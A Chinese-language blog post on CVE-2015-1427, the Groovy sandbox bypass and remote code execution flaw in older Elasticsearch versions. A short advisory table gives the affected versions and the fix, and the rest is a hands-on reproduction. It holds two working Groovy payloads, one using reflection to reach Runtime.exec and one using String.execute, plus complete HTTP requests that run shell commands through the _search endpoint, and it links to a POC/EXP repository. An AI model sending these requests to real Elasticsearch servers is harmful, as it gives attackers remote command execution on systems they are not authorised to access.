ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞
漏洞编号:CVE-2015-1427
漏洞详情
CVE编号 | CVE-2015-1427 | 漏洞级别 | 高危7.5 |
---|---|---|---|
标题 | Elasticsearch Groovy 脚本引擎存在远程代码执行漏洞 | 披露时间 | 2015/02/17 |
漏洞总结 | Elasticsearch在版本1.3.8之前及版本1.4.x在1.4.3之前的Groovy脚本引擎存在漏洞,远程攻击者可通过精心构造的脚本绕过沙箱保护机制并执行任意shell命令。 | ||
利用路径 | NETWORK | 利用难度 | 容易10 |
影响产品 | elasticsearch | ||
解决方案 | 升级到Elasticsearch版本1.3.8或1.4.3以上,或禁用Groovy插件。 |
漏洞复现
两种执行命令的方法:
1、利用java反射绕过沙盒
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
2、Goovy直接执行命令
def command='id';def res=command.execute().text;res
添加一条数据
POST /test/test/ HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 24
{
"name": "test"
}
执行命令
第一种方法:
POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
第二种方法:
POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}
POC&EXP
github:POC-EXP/ElasticSearch Groovy 沙盒绕过 at main · twsec-pro/POC-EXP (github.com)
yakit:86556f00-6ebb-4422-804c-6f58cb9b9f79
本文来自博客园,作者:twsec,转载请注明原文链接:https://www.cnblogs.com/TWX521/p/17916224.html